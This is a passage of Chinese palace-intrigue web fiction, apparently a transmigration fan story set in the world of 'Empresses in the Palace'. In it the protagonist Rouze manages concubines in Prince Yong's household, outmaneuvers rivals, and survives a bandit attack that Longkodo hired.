“爷在这儿也没用,爷只会说,不舒服就找府医, 爷又不会治病。” 李静言学着胤禛的样子,怪声怪调的,十分有趣。 虽合心意,但到底不大点的心房被柔则强势占满,腾不出空来给李静言暂住,相比较下,王爷床上说的甜言蜜语,就不如巴结福晋得来的实惠多。 李静言虽然不聪明,但是小动物的直觉很准。 说笑着,府医带着医童拎着药箱到了。 片刻,只见府医一脸笑意的回禀道:“恭喜福晋,恭喜格格,格格这是有喜了,一月多些。” 李静言入府也不过一个多月的时间,胤禛难得有这样的高光时刻,柔则自然是要表扬他的。 “正好杨府医负责府上的阿哥格格,你便着重照看李格格这一胎吧。” 二阿哥是苗侧福晋的儿子,康熙赐名弘昐,是个越长越像胤禛的小胖蛋,苗侧福晋又是个野心不足但脑回路清奇的女子。不仅对大阿哥造不成丝毫威胁,反而会叫柔则一不小心就丢了脸面。 想到苗侧福晋那跳脱的性子再看看李静言那并没有好了多少的脑子,柔则只觉得胤禛是个棒槌。 不然怎么纳进来的妾室都是棒槌呢! “妾身......” 李静言还想说些什么,月瑾走了进来说道:“福晋,十阿哥来了。” 柔则摆摆手看向李静言:“你先回去歇着,有事叫身边人来正院。” 打发走了李静言,柔则皱眉看了看一旁的西洋钟。 到了下朝的时间了?老十怎么自己过来了? 胤禛不在,柔则便到了前院会客的地方。 “四嫂,救我啊!” 虽然胤?还没看到四嫂的人影,但他的狗鼻子闻到了四嫂的香味。 一个飞扑,大吨位的胤?精准的抱住了柔则刚要迈进门的右脚。 柔则下意识的抬了抬腿,差一点脚丫子就喂到了胤?嘴里,真是罪过罪过。 “十弟这是做什么?” 这种倒霉弟弟卖了都得倒贴钱。 “四嫂,弟弟素日里是不是还有救?” 胤?没说来意,只是哭唧唧的抱着柔则的腿坐到地上,抬头看着柔则满眼期待。 柔则犹豫了一下。 胤禟会做生意,胤禵有德妃补贴,所以这两个弟弟给的礼还是很合心意的。 但是胤?的家底都不够他自己祸祸,每每过来带的都是吃食。这跟她这一身仙气的人设一点也不搭噶,所以柔则不是很想搭理他。 瞧着柔则犹豫,胤?再次号啕大哭:“四嫂,你不能不救弟弟啊!四嫂以后叫我追鸡我绝不撵狗!” 虽然哭的情真意切,但柔则并没有往心里去。 她冷笑一声挑眉问道:“若我叫你打你九哥呢?” 胤?犹豫了一下,小心翼翼的觑着柔则的神色讨好的笑了笑:“用什么打啊四嫂?最多就是木棍了,刀枪不行啊。” 柔则抬头看着相伴而来的两人笑的意味深长:“我说的,是用手。” 这兄弟情也真是感人,怕胤?被老四打废了的胤禟追着胤禛的脚步刚到门口,就听到他那亲亲十弟在他亲亲四嫂面前要用木棍打他。 可真好啊! 胤?眼睛亮了亮:“行,没问题!四嫂只要救我一条命,今后别说是打九哥,就是打四哥都包在我老十身上!” “是吗?你想用什么打我?” 胤?的话音刚落,背后就响起了一道阴沉沉的声音。 胤禟都悄悄的往外迈了一步,见过找死的,没见过上赶着找死的,十弟,哥哥无能为力了! “用刀枪,用刀枪,惹四嫂生气了,木棍都不管用!” 胤?这个傻子嘴比脑子快,明明自己已经觉出了危险,但是就是管不住那张嘴。 颤颤巍巍的扭过头,看着后头面色不善的老四和目光沉沉的九哥,胤?‘嗷’的一声躲到了柔则身后。 “四哥,九哥,你们什么时候过来的?” 胤禛瞧着躲在自个儿福晋身后的人越来越气,你说他不聪明吧,他知道闯了祸找能帮的上忙的;你说他聪明吧,他在苦主的府上说本人的坏话,那真的是很没脑子了。 “在你说用木棍打我的时候。” 胤禟冷冷的跟了一句,他没想到啊,这弟弟看着浓眉大眼憨厚老实的,居然直接上武器。 胤?咽了咽口水,把脑袋缩到柔则的后背。 “到底怎么了?” 再不济也该去找胤禩,跑她这儿闹起来算怎么回事?柔则有些乏味的看了看胤禛,丝毫没有注意后头晃着折扇的胤禟。 “十弟把福晋送我的坠子摔坏了,上头的络子还是皇额娘给我打的。” 胤禛好委屈的,都是他很珍惜的物件,胤?这个狗东西居然还敢躲。 柔则手背后,扯着胤?的耳朵把他薅了出来。 “你故意的?” 胤?配合着龇牙咧嘴,连忙解释:“四嫂听我解释,弟弟真不是故意的。我就是去撩拨老,四哥,没成想手快了,把它刮掉了。” 柔则看了眼互相瞪成斗鸡眼的三兄弟,实在觉得皇家的人都无聊。 “道歉。” 一块玉,再值钱在他们这些本就不缺钱的人眼里都是俗物。 柔则是知道怎么能戳胤?肺管子的。 胤?看着还在气哼哼的九哥,憋着气对胤禛说了句“抱歉”。 柔则这才放下手,动了动帕子准备回去躺着。 “四嫂,要不要一起吃个饭啊。” 胤?无师自通的学会了膈应胤禛,在胤禛的黑脸里笑呵呵的拉着胤禟就跑。 胤禟:“老十,咱们是不是该说一下棍子的问题了?” 胤?:“九哥,我那是敷衍四嫂的,咱俩这关系,我能对九哥动手吗?” 胤禟扫视了胤?一圈:“你最好真是这么想的。” 胤?拍了拍胸口:“相信弟弟!” 这事三两句话翻了篇,胤?凑到胤禟耳边嘀咕:“老四也太不经撩拨了,九哥,还是你的招好,跟四嫂说句话老四就急了,真有意思!” 胤禟面色复杂的看着一脸单纯的十弟点了点头:“对,今后就这么干。” 胤?此刻完全忘记了前几日胤禩跟他们说的远离四嫂的计划,他现在只想不断的挑衅胤禛,满足自己那点没有用但开心的乐趣。 第257 章 柔则26 这几年的时间段在一废太子和二废太子之间,所有的皇子都有自己的小九九。胤禩的福晋郭络罗氏虽然和柔则的关系还算不错,但涉及自家爷们的前程,两人近来相聚的也少了很多。 胤禟和胤?看似在老八那边,但对于在柔则身上的投入越来越多后,两人根本无法抽身。这就导致三人小团体出现了不明显的裂痕,只是胤禩尚且用的上二人,只能努力修补。 而雍亲王府里,自甘格格平安生下二格格后,李静言过了几个月也生了三阿哥弘时。 府里头越发热闹,衬得隔壁的院子格外冷清。 胤禩在婴儿的啼哭间偏了思路,出了歪脑筋,在去圆明园小聚的日子,给胤禛下了药,买通了一个面容普通的宫女爬床。 可惜被柔则派去的人拦了下来,并原封不动的把人送到了八阿哥的床上。 成没成事不知道,反正挨骂的换了个人。 至于那个宫女李金桂,胤禩能想出这样的主意,自然骨子里也是自私凉薄的,没有成事反而连累了他,夜晚一个失足,李金桂便永远的留在了十六岁。 康熙五十一年底,太子二废,被圈禁在咸安宫。 同年,为了抬高自家老四的势力,把年羹尧的妹妹年世兰,赐给雍亲王做侧福晋。 同时,得知雍亲王府有两个有孕的格格,怕自家儿子少了伺候的人,又赐下了五个格格。分别是曹琴默,吕盈风,冯若昭,费云烟和徐佳娉婷。 胤禛如今并不缺武将的投靠,柔则的前未婚夫抚远小将军,因为耽搁了柔则的婚事一直心有愧疚。 又得知柔则嫁入雍亲王府后,私下里派人拜访雍亲王胤禛,虽然没有明确的投靠,但确实有示好之意。 更何况这几年皇上一顿折腾,自己能用的儿子废了两个,剩下唯二有竞争力的,一个雍亲王胤禛,一个八贝勒胤禩。 抚远小将军相比较而下更喜欢雍亲王,毕竟打仗靠的不是温和,八贝勒给他的感觉太过软绵,虽然雍亲王瞧着也不是什么有魄力的,但总归不是个好说话的。 再加上大阿哥胤禔因为提议处死胤礽被圈禁后,那拉氏部分势力虽然跟了胤禩,但也有部分势力因着和乌拉那拉氏的关系较近,默默的投靠了胤禛。 府里头的苗侧福晋也是武将世家出身,还是满军旗,所以一个年羹尧而已,胤禛根本没放在心上。 更何况年羹尧本人和胤禩关系不错,若不是隶属的旗主是胤禛,怕年羹尧更乐意把年世兰送进八贝勒府。 “不过是个侧福晋,比照着苗侧福晋的规制来就是了。年羹尧的妹妹又如何?” 柔则心里头不是很痛快,她既然是白月光,自然不允许有朱砂痣的存在,这狗男人心倒是大的很,什么都想要。 她踩着胤禛的肩膀,如画的眉目间满是轻蔑。 “凭她是谁,若是安分的便好生的待在后院,若是不安分,随宛宛处置就是了。” 在柔则日复一日的洗脑中,胤禛跪在地上的眼神如同在看自己的信仰,虔诚又狂热。 柔则笑了起来,她慢慢起身拉着胤禛的衣领倒在床榻上,四目相对时启唇道:“胤禛最乖了,对不对?” 胤禛点了点头,期待着等着柔则下一步的指令。 这男人在床上就是得训练,不能他们说要就要,而要你做主,让他们动,才能进行下一步。 由于年羹尧的态度不佳,导致年世兰的婚礼也跟着降了一级。虽说规制里的东西都有了,但就是比苗侧福晋那时候要看着简陋。 来参加婚礼的大臣都是人精,看向年羹尧的视线从恭喜变为了打趣。 一仆不事二主,奴才的喜好不重要,上头人的喜好才是奴才们需要正身的重点。 如年羹尧这种头脑发昏的人,这不是连累自家妹妹吗? 可惜年家人的想法如今更没人在意,年世兰的新婚夜并不如期待的美好,胤禛看见年世兰就好像看到了年羹尧那张桀骜不驯和胤禩同流合污的臭脸。 “你倒是个懂事的,可惜你哥哥不懂事。” 新婚夜没有洞房花烛,年世兰被胤禛一句话说的心直往下坠。看着已经入睡的雍亲王,脑子里一片混沌。 “福晋......” 颂芝刚开口,就被一旁立着的高无庸捂着嘴拖了出去。 年世兰追上去,就看到被反剪着胳膊挨巴掌的颂芝。 “住手!这是本福晋的陪嫁丫鬟,也是你们能动的吗?” 新婚夜陪嫁的大丫鬟被打了脸,这无异于打在了年世兰的脸上。 高无庸冷冷一笑,看似恭敬实则漫不经心的行了一礼:“年,侧,福晋,您只是侧福晋,请您注意自己的尊称。 这丫鬟叫错了,自然要受到惩罚。雍亲王府规矩严苛些,您是汉军旗,又是半路发家的贵女,规矩差些,奴才也能理解。” 高无庸和苏培盛不一样,他是个认理不认人的,管他是年侧福晋还是苗侧福晋,错了就是错了。 年世兰伸出的手指哆哆嗦嗦,不可置信的看着高无庸。 可外头即便这般闹腾,屋里仍旧安静。 年世兰知道,王爷是认同了她没规矩这个话了。 第二日该去给福晋敬茶,年世兰默默放下了自己准备的大红色衣裳,换了一身橘红色的旗装,头上的头饰也从点翠头面换成了银钿子。 “妾身给福晋敬茶。” 规规矩矩的样子倒是顺眼很多。 柔则瞧着她笑了笑:“入了王府,就要守着王府的规矩,年,侧,福晋,可需要本福晋给你一个嬷嬷?” 年世兰掐着手心,昨夜的事儿今早福晋就知道,这雍亲王府果然不好混。 “是妾身着急失了分寸,多谢福晋抬爱,妾身自认规矩极佳,不需要嬷嬷。” “哦?据本福晋所知,年家也不过是从你父亲年遐龄得以踏入官场,规矩极佳四个字,你和你那哥哥,怕是担不起啊。” 柔则扔下一张纸,年世兰低着头看了一眼,上头记满了自家二哥和八贝勒‘勾搭’之事。 她闭了闭眼,规规矩矩的趴下:“是妾身莽撞了,请福晋赐嬷嬷教导妾身规矩。” 年世兰选择保下自己二哥,这是柔则意料之中的事情。 她轻轻拍了拍手,后头出来一个面容和蔼的嬷嬷。 “这是容嬷嬷,也是太后身边的老人了,年侧福晋,要好好学啊。” 柔则从不打无准备的仗,她也绝不会允许有人比她还要嚣张。 早在年世兰入府前,这位容嬷嬷就被她从太后那里求了过来。 年羹尧兄妹俩想要蹦哒到她头上?那便先砍了腿。她乌拉那拉柔则,绝不要看任何一个人的脸色。 第258 章 柔则27 年遐龄虽已致仕,但并不是个睁眼瞎。他的一双儿女在外头如何嚣张跋扈的心中是有章程的。 只是年羹尧少时中进士,一路四平八稳,在官场上比他这个老子还要如鱼得水,渐渐的,年遐龄也打心眼里认同少年人意气重些不是坏事。 再说年世兰,是他的幼女,又是全家的掌上明珠。从小要星星就不给月亮,况且女孩子家,有些脾气也是好事,不会在嫁人后受夫家折磨。 这原本都是年家的底气,可如今成为了缠绕在年家脖子上那一根看不见的风筝线,而这根线缠绕着的卷轴,在雍亲王府。 年羹尧在康熙四十八年上任四川巡抚,即便年世兰被赐婚雍亲王胤禛,也只是写信廖廖表示了自己微弱的敬意。反而同八王胤禩来往通信频繁,叫胤禛很是看不上眼。 跟柔则抱怨了两句后,被提点着找到了当时出任四川松潘镇中营游击的岳钟琪,一番提拔,成功升任川陕总督一职,稳稳的压在年羹尧的头上。 而八阿哥的党棚再多,也无法和参与镶白旗和正蓝旗旗务管理并督办京畿水利,清查财政的胤禛相提并论。 毕竟这个时候的胤禩,也只是多罗贝勒,管理着理藩院和广善库。但他已经远离核心决策层,在军事和财政两个重要领域,缺乏实际的话语权。 其门下客都未有升任总督的机会 ,更不会为一个不属于自己的奴才年羹尧去送人情了。 而自家小妹年世兰的近况,年羹尧也从年家的书信中窥得一二。 因着战功屡被岳钟琪抢先一步抢占,年羹尧早就意识到旗主的重要性。 可胤禛已经完全不接受他的示好,只能眼睁睁的看着本属于自己的通天路被岳钟琪取代。 再看如今疼爱的妹妹年世兰的消息,年羹尧难得的佝偻了脊梁。 雍亲王府。 年世兰被禁足学规矩后,余下的五位格格规规矩矩老老实实的按照福晋的安排侍了寝。她们不闹事,柔则也不是小气的性子。 按照规矩给了赏赐,和府里头的老人一样,想喝坐胎药的就喝,想有个小爱好的就申请,只要乖乖的不找事,没有那么严苛的规矩。 曹琴默和冯若昭是最聪明的,她们第一时间观察了府里的状况后,从最好套话的李格格嘴里得出了府里的确切消息。 两人前后脚送了络子和团扇到柔则的正院,祈求庇护。 “倒是两个聪明的。” 柔则不缺这点东西,但有眼力见的小弟,还是能多一分好眼色。 “本福晋说话直接些,你们两个也不用拐弯抹角的浪费时间。” 柔则的态度嚣张又带了些轻蔑,冯若昭和曹琴默虽然不习惯,但看着那张如仙如画的脸心里头接受的很快。 “是,妾身谨遵福晋之言。” 说话直接总比言里藏奸要好。 “老老实实的,生几个孩子都是看你们的本事。只是若要本福晋知道谁藏了害人的心思,那恐怕就容不得你们了。可记得了?” 虽然柔则并不需要这些格格的示好,但有眼力见的妾室,就是会比其她人多两份优待。 “是,妾身谨记。” 两人相视一眼,都有些兴奋。皇家的妾室不好当,她们的命在这些上位者手里也不过是蝼蚁。能碰上一个这样坦荡的当家福晋,不知道要少走多少弯路呢。 两人都不是笨嘴拙舌的,很快就把柔则哄的眉开眼笑。 正乐着,外头传来一阵小孩子的笑声。 “额娘,额娘。” 小小的弘晖已经会跑了,话也说的利索,日日都要围着雍亲王府转上两圈才好。 柔则坏心的叫人带着弘晖往宜修禁足的地方溜达,听着弘晖的童言童语,据传宜修已经有些疯癫了。 “额娘,送额娘漂亮花。” 弘晖随了他爹,是个话唠。摘花的时候也阻止不了闲下来的小嘴。 “给额娘摘花花,摘漂亮花花,给漂亮额娘。” 小孩子,哪里就会控制自己的音量了,大大的童声通过单薄的院墙传到宜修的耳朵里,那可真是,最美妙的刑罚了。 “是额娘最喜欢的玫瑰呢,弘晖可真棒!” 因着柔则喜欢,这府里大部分的花卉都是玫瑰,自然落不了宜修旁边的空地,她这个庶妹虽然不亲,但她这个嫡姐可是不忍心叫她禁足时寂寞。 出不了门没关系,清风会送去花香;见不了人没关系,弘晖会送去‘关怀’。瞧,她可真是贴心。 弘晖凑到柔则身边黏黏糊糊的抱了一会儿,才故作正经的拍了拍自己的衣裳:“额娘我要去读书了。” 虽然柔则对于弘晖和胤禛都是动动嘴的关怀,但父子俩明显是很吃这一套的,不费劲就收获了两个好大儿,这日子也是很有盼头了。 对于后进府的格格们,根本不知道这大阿哥的真实身世。所以说起话来特别的好听。 “大阿哥可真孝顺,这母子连心,果然不是随便说说的。” 曹格格加一分。 “是呢,有福晋这样好的额娘,大阿哥自然是优秀的。言传身教可见是多么重要。” 冯格格也加一分! 柔则决定了,宜修不能一直关着,得叫她早上也来请安,听一听这些妹妹们的甜言蜜语。 说到做到,在下一个请安日,大家就看到了一脸阴郁,发髻染青丝的乌格格。 而曹琴默和冯若昭在夸了柔则和弘晖母子情深后便接了厚重的赏赐。自以为掌握了福晋喜欢听的话,请安时瞧着柔则的帕子上有个线条简单甚至有些凌乱的帕子时,相视一眼,知道又到了发挥的时候了。 “福晋这帕子瞧着稀奇。” 柔则给了冯若昭一个‘上道’的眼神。 曹琴默见状心里头稳稳的开夸。 “虽然线条不甚明朗,但充满了童趣呢。” 柔则笑了笑:“是晖儿画的第一幅画送给了本福晋,瞧着有趣儿,便叫人绣了下来。” “大阿哥果然是至纯至孝的孩子,福晋好福气。” 宜修听的目露恨意,恨不得把柔则吃了。 她总算知道今日乌拉那拉柔则打的什么主意,她十月怀胎的儿子,如今认贼作母,还被教导的如此不务正业,果真不是自己的儿子,就不上心! 若是弘晖在她身边长大,不说三字经千字文,此时应该读四书了才是! 柔则果然耽误她儿子! 被暂时用银针封了喉咙的宜修满是对柔则的仇恨和对弘晖的恨铁不成钢。 明明在她肚子里时,读书都会有回应的孩子,如今只会四处乱跑,那双手明明应该握笔练字,却用来泼墨乱画,实在叫宜修痛心。 “可不是,弘晖阿哥不仅孝顺,对姐妹也有耐心呢,长宁总是惦记着大阿哥带她去摘花。” 宋格格这点很有发言权,她的大女儿夭折后,身子也跟着散了心气,若不是福晋仁善,怕是二女儿也是保不住的。长宁是福晋亲自赐名,只希望大格格福运绵长安稳宁静。 今儿乌格格出现在正院,宋格格的眼睛不错漏的盯着她,生怕她发疯,扰了福晋的清净。 第259 章 柔则28 瞧着宜修似有吐血之兆,柔则才大方的摆了摆手,叫众人散了去。 “蒲阳阁看好了,扰了我晖儿,你们就把脑袋扔去乱葬岗好了。” 弘晖只是柔则的备选,今后不论是谁坐上了那个位置,她都是母后皇太后,哪个皇帝敢叫她受了一点委屈,那她就闹的他的皇位不安稳。 一切以自己的利益和享乐为上由,还能指望她把宜修的儿子捧上了天吗? 上天的人只能有她乌拉那拉柔则一个,其余人,便做垫脚石就好。 宜修那张脸实在难看,为了自己的眼睛,这人还是关着吧。 柔则处理了府里的杂事,换了身衣裳赴了九福晋的小宴,听了两场你侬我侬的戏折子,又吃了一顿新鲜的野味。 “四嫂,我这庄子里新请了两个技术非常好的医女,按摩和保养皮肤都是一绝,四嫂可要来试试?” 九福晋和柔则在一起后学会的最重要的一点就是善待自己。 她把府里的杂事交给自己信任的一个奶嬷嬷,自己统筹大局。虽然奶嬷嬷刚开始有些飘飘然,但九福晋严格按照柔则的行事准备办事。 分不清谁是主子就死去,奴才就是奴才。 杀鸡儆猴,九福晋不仅得到了忠心好用不会擅作主张的奴才,日子也越发得滋润。 胤禟又是个会赚钱的,以前都贴补给胤禩,在她摔了胤禟书房里价值连城的摆件后,胤禟也会自觉的把挣的钱一半送到九福晋的兜里。 四嫂说的对,只有拿到手里的实惠才是最好的。 一有了好的,九福晋就想找柔则先享受,四嫂可是她这辈子的指路明灯! “明儿吧,今天也没跟我家爷说呢。” 主要是今天是有打算吃肉的,胤禛老实了十好几天,可以用一用了。 “那好吧,四嫂。明儿我来接你。” 至于八嫂的拉拢,九福晋完全不放在心里。 谁家里差事了?都是做皇子福晋的,谁都不是那任人摆布的。胤禟愿意给八阿哥当冤大头就自己当,再说了,胤禟现在明明是给四嫂当冤大头! 不过,九福晋觉得,给四嫂当冤大头比给八哥当冤大头好。最起码四嫂只图财,而八哥那里若是败了,可是要命的。 “福晋,下午钮钴禄格格和耿格格身边的人来,两位格格都有了身孕了。” 柔则闭着眼睛由着云筝月瑾等人服侍着更衣:“按例给了赏就是了。” 既然是甄嬛传的世界,那弘历的生母就一定是宫女李金桂。而李金桂消失,弘历自然也不可能再出现。 管她们生男生女,皮肤暗沉,发福长斑,脱发变丑,吃苦受累的又不是自己,喜欢多子多福的就找胤禛努力去。 赏赐走的都是公中的账,何必省了胤禛的钱自己担了小气的骂名。说的就是你,宜修! 不出意外,柔则会跟着胤禛这个大男主,在康熙驾崩后安安稳稳的坐稳后位,然后开启她无限享乐的一生。 但现在出了意外,明明既定好的九龙夺嫡,胤禛身为孤家寡人一路隐忍铁面无私,最后被康熙钦点为继承人的他,现在因为福晋给力,身边不缺势力而真正被隆科多盯上了。 隆科多虽然被康熙划给了自家老四,但隆科多到底是为着自家姐姐还是胤禛的老娘还是有待商榷的。 可如今胤禛羽翼渐丰后,隆科多似是有利可图,倒是比前几年热情的多。 只是胤禛不缺人手,又是亲眼见证过隆科多和乌雅氏的奸情,一直对其不冷不热。 隆科多年少被康熙称为‘麒麟子’,一直是被捧着,如今被胤禛不冷不热的态度刺激的羞恼不已,又听了恶毒小妾李四儿的毒计,准备给胤禛和柔则一个教训。 至于为什么带上柔则,那还不是李四儿没有接到过雍亲王府的帖子,递到雍亲王福晋的帖子也被忽视,恶毒的她就嫉恨上了。 “女子最看重的就是名节,毁了四福晋的清白,雍亲王现在拥有的势力不说土崩瓦解,最起码也能拆解一二。到时候爷就在府上等着,有的是他低声下气的时候!” 李四儿折磨多年赫舍氏,又被隆科多宠的不知天高地厚,自然是怎么恶毒怎么来。 “还是四儿厉害,为夫就喜欢四儿这坏坏的样子。” 蛇鼠一窝的两人又再次计划,找了个柔则单独出门的日子,买通了一批山匪。 然而隆科多没想到的是,柔则从来没有落单的时候。 她自己一个人时,总能‘偶遇’些人。 比如九阿哥,比如十四阿哥。 今儿偶遇的是十四胤禵,他本就觉得自家表姐是鲜花插在牛粪上,得了机会就要凑近说两句老四的坏话,这次也不例外。 “好巧啊表姐,表姐也是去上善寺祈福吗?” 十四骑着马,探着身子凑到马车的小窗口那儿。 “是啊,十四弟今儿得闲了?” 为了怕这个小儿子出什么幺蛾子连累自己,德妃忍痛去康熙那儿给他求了个不得闲的差事,有个十几日没来献殷勤了。 “可不是!总算是完成了差事,想着去给额娘祈福,没想到碰到了表姐。” 柔则撩开帘子瞧了胤禵一眼,比胤禛稍显帅气的面孔噙着笑。 两人有一搭没一搭的说着话,还未到上善寺,就突发变故。 山匪凶悍,也没想到还有男子在侧。 不过他们也并未太过重视,这一单能养他们一年,一定要办的漂漂亮亮的。至于糟蹋一个女子而已,都是做习惯了的。 皇子出门哪有不带护卫的,而柔则更是不会把自己置于危险之地。 山匪固然凶悍,但训练有素的护卫也不是吃素的。 几个来回,胤禵脸上也溅了血。 稍作审问,竟是为了柔则而来。 胤禵回神,看着柔弱的表姐满脸惊恐的躲在他身后,那一股由内而生的保护欲在胸膛炸开。 “表姐放心,弟弟一定给你个公道。” 只是今日这行程泡了汤,胤禵亲自护送柔则回了府,又用自己的腰牌叫了太医,这才拎着山匪去了刑部。 十四阿哥给四福晋叫府医,康熙第一时间觉出了不对劲。 叫来十四一问,竟是有人买凶害人。 堂堂亲王福晋,在京城地界儿差点被害,这何尝不是打了皇家的脸面。 谁知这一查竟查到了隆科多头上,康熙拿着供词陷入了沉思。 一旁的胤禵看着亲爹这副模样有些着急:“皇阿玛,你不能因为隆科多是你小舅子就敷衍了事吧!那表姐还是你儿媳妇呢,你可不能亲疏不分啊!” 康熙只是感慨孝懿那么好的女子怎么会有这么混账的弟弟而已,就被胤禵打断了不合时宜的一点点思念。 “混账东西,怎么和朕说话的。” 虽然有一瞬间这个念头,但这不是没有说出口吗? 胤禵撇了撇嘴,跪在地上请罪。至于心里头服不服气,康熙不用想就知道,这混小子定在心里头骂他了。 隆科多不经查,不说他在外头干的混账事,便是府里头的烂摊子就没有擦干净屁股。 李四儿那个不值钱的玩意儿竟然能把隆科多迷了心智,这样的小舅子不要也罢。 柔则哪里受过这样的委屈,回到府里就开始‘发热’。 觉罗氏得了信儿第一时间赶到雍亲王府,看着床上人事不知的女儿哭的昏天暗地。 好歹是红带子宗室,觉罗氏哭着去了简亲王府,哭着去了不少族亲家里,张罗组织了好多老族亲到了紫禁城。 她别的不行,闹事可是从小的绝活。 而且她哭的也没错,她的女儿受了这份难皇上若是不处理,今后未必他们的女儿没有这一日! 皇上哪里见过这个阵仗,这些老宗亲虽说没什么实权,但到底是宗室,隆科多真是成事不足败事有余的东西。 柔则只在床上躺了躺,觉罗氏和胤禛,胤禵这个当事人和胤禟这个柔则投资人便开始发力,皇上最终不得不顾及宗室的声音,把隆科多撸成了白身禁足在家,李四儿则被处以极刑,当场执行。 第260 章 柔则29 “柔则来了,今儿怎么没带着弘晖?” 这是隆科多出事后柔则第一次进宫,此前德妃报了风寒,许久都未曾见人。 “昨儿十四弟答应了弘晖去跑马,叔侄俩已经出发去了马场,若是额娘想见,怕是要等上一天半日的了。” 德妃笑了笑整个人仿佛老了十岁一般看着提不起精神。 “男孩子多动动也是好事,叫他们俩也不必折腾了,骑马射箭一身臭汗的,本宫也懒得招呼他们。” 两个人说了几句没营养的话,德妃呷了口茶假装不经意的说道:“隆科多一事你也受了惊吓,近日身子可还好?” 说到底,这事柔则最是无辜,大儿子不善交际看不上头前摇摆不定的隆科多惹了人记恨,小儿子一腔热血为表姐报仇把人送到了御前。 充其量,面前这位红颜侄女都说不上一句祸水,只能算是被牵连的小可怜。 一边是心爱的小儿子和亲生的大儿子,一边是曾经的旧情人,德妃没办法责怪任何人。又听闻隆科多因为妾室李四儿之死变的疯癫,心里头五味杂陈。 “多亏十四弟英勇,也是只头两日没见过这场面发了会儿高热,如今已经好利索了。” 德妃点了点头,从身旁的竹息手里拿起一根银质鎏金点翠梅花小米珠步摇:“前儿几日得了皇上的赏赐,本宫一瞧就觉着十分适合你,也算是给你安安神了。” 她的表情有些复杂,说不上来的扫量和一些隐晦的悔意。 德妃不笨,恰好相反,她十分的聪明。这根步摇到她手里的一瞬间,就了解了皇上的意思。 位列四妃之一,又是做了玛嬷的人,如何能戴这般娇艳俏丽的款式,这根步摇到底是要送给谁的,不言而喻。 扫量是估算柔则这张脸到底能带给皇上多大的影响,而悔意,则是这侄女,入的是雍亲王府,而不是小儿子的府邸。 至于嫉妒,那万万是谈不上的。乌雅氏自康熙后宫厮杀而出,从包衣宫女上位成为四妃之一的德妃,从不在乎皇上身边究竟有几人,也不纠结皇上又看上了谁。 单看那舒妃就知道,皇上是个没心肝的东西。 一朝从异族捧至妃位,这份恩宠在后宫也说的上是独一份了。如今不也照样被抛之脑后,德妃现在唯一抓不准的,就是皇上对柔则的兴趣能维持几时。 若是心存着惦记,这老四可以说是板上钉钉了。 那她的十四怎么办? “多谢额娘。额娘瞧着精神还是有些不好,可是身子不舒服?” 虽然柔则觉得德妃死了更好,省得以后头上压着一个太后还要请安,但现在该做的面子还是要做的。 “上了岁数了,病上一场就恢复的慢些,无妨。” 其实德妃是想问一问隆科多是不是真的疯了,但她张了张嘴又咽了回去。 若是真疯了,她要如何呢?不过是一场孽账罢了。 柔则今日带了两根山参,来看生病的老人,这个最实惠。胤禛准备的山参品相好年份长,柔则放到了自己的空间里。然后把从前小世界里宜修送来的‘细棍子’拿了出来。 德妃也没看,这东西她库房里头多的是,摆了摆手就收了下去。 “本宫病着,就不留你了。若是十四送弘晖回府碰上了,就叮嘱他一声小心着凉。” 柔则看着德妃的眼睛笑了笑:“是,侄女明白。” 德妃这才舒了口气,看着柔则离开后闭着眼睛额头微蹙。 “娘娘可是头疼?奴婢给您按一按吧?” 竹息净了手,从德妃的梳妆台上取出一小瓶太医调配的缓解头痛的精油倒在手上,揉搓着热意上升后,缓缓为德妃按压着有些紧绷的太阳穴四周。 “以往是本宫小瞧她了,本以为被觉罗氏那个蠢妇教养的天真不谙世事。没成想却是个沟壑万千的,倒是便宜了老四。” 德妃不止一次暗示柔则,雍亲王府有乌拉那拉氏一个小阿哥就好,甚至还似是而非的提过弘晖的身世。 以老四现身说法,养子这个东西,有时候养不好了,两边都得不着好。 但都被柔则三言两语的岔了过去,眼瞧着雍亲王府的子嗣越来越多,德妃就知道自己看走了眼。 “不论是四阿哥还是十四阿哥,都是娘娘您的儿子,没差别的。” 竹息是真的为主子好,两个儿子谁有出息都好,何必执着是不是小儿子呢?如目前的形势来看,雍亲王的优势明显,实在没有必要冒着得罪今后的当家人的风险背地里做事。 “哼!” 德妃冷哼一声:“都是亲生的也亲疏有别,人的心就是偏的。” 竹息无言以对,这话说的也没毛病。四阿哥寡言,十四阿哥嘴甜,有偏疼是很正常。但是涉及到那个位置,看的也不是自家主子的心意啊! 摇了摇头不再多说,做奴才的还是得有分寸。 虽然德妃也在背后撺掇着十四努力,但胤禛年长胤禵这么多年也不是吃干饭的。 兄弟俩也算是打的有来有回,因为胤禵身后还有一个拱火的小团队,老八,老九和老十。 老八出力最多,老九老十两边划水。 皇上对此冷眼旁观,并未有任何不满。 胤禛和胤禵都知道,如今必须得做出个样子。 十四也不再频繁的往柔则身边凑,两家似是突然闹掰了一样断了交情。 只是私下里,碍于胤禵对自家福晋颇为上心,虽然经常看不顺眼,但连带着兄弟俩的关系也有了一点改善,倒也不至于像以前那般剑拔弩张。 德妃的挑拨也并没有起到很大的作用,只是她自己不知道,自己生了个重情重义的儿子,还在沾沾自喜。 一直到康熙五十七年,胤禵被任命为抚远大将军,率军征讨准噶尔部,出征仪式隆重,规格堪比皇帝亲征。 胤禛没急,胤禩也没有半场开香槟,他总觉得自家老爷子还有后手。 这后手一等就是三年,胤禵未归,但康熙六十岁突然宣布要进行选秀。 大家心知肚明,皇上已经老了,这一次选秀怕是为了雍亲王。 事实也确实如此,皇上在殿选时特意带了胤禛和柔则两个人,明眼人都明白皇上的用意。 有沉的下心的,感慨自己没有冒冒然去十四贝勒府上献殷勤;而那见风使舵的,则是后悔没有看清皇上的深意,早早得罪了雍亲王。 这次选秀虽是皇上坐在主位,不过大部分他都会看一眼胤禛或者柔则。 底下的秀女还有什么不懂,那位高高在上的雍亲王福晋,便是她们今后需要努力讨好的对象了。 蒙军旗的小郡主已经在路上,满军旗择了四位秀女,瓜尔佳氏,富察氏,佟佳氏和赫舍里氏。 皇上亲自为雍亲王充盈后院,哪家也不会藏着掖着。 汉军旗选秀当天,柔则特意择了月白色的旗装,换了一副简单又不失雅致尊贵的头饰。 “这穿红着绿的,瞧着也热闹,怕是扰了老四家的清净,算了。” 康熙一看到夏冬春便头疼,摆了摆手叫人撂了牌子。 安陵容家世太低,康熙这次的选秀卡了正五品的家世,所以根本没有机会进京。 沈眉庄倒是容貌秀美仪态端庄,但问道读过什么书,康熙又摆了摆手:“家世不俗,但沈自山不是莽夫怎么可能没有读过书,满嘴谎话,撂牌子。” 这话把柔则听的直发笑。 “老四家的,可是朕说的不对?” 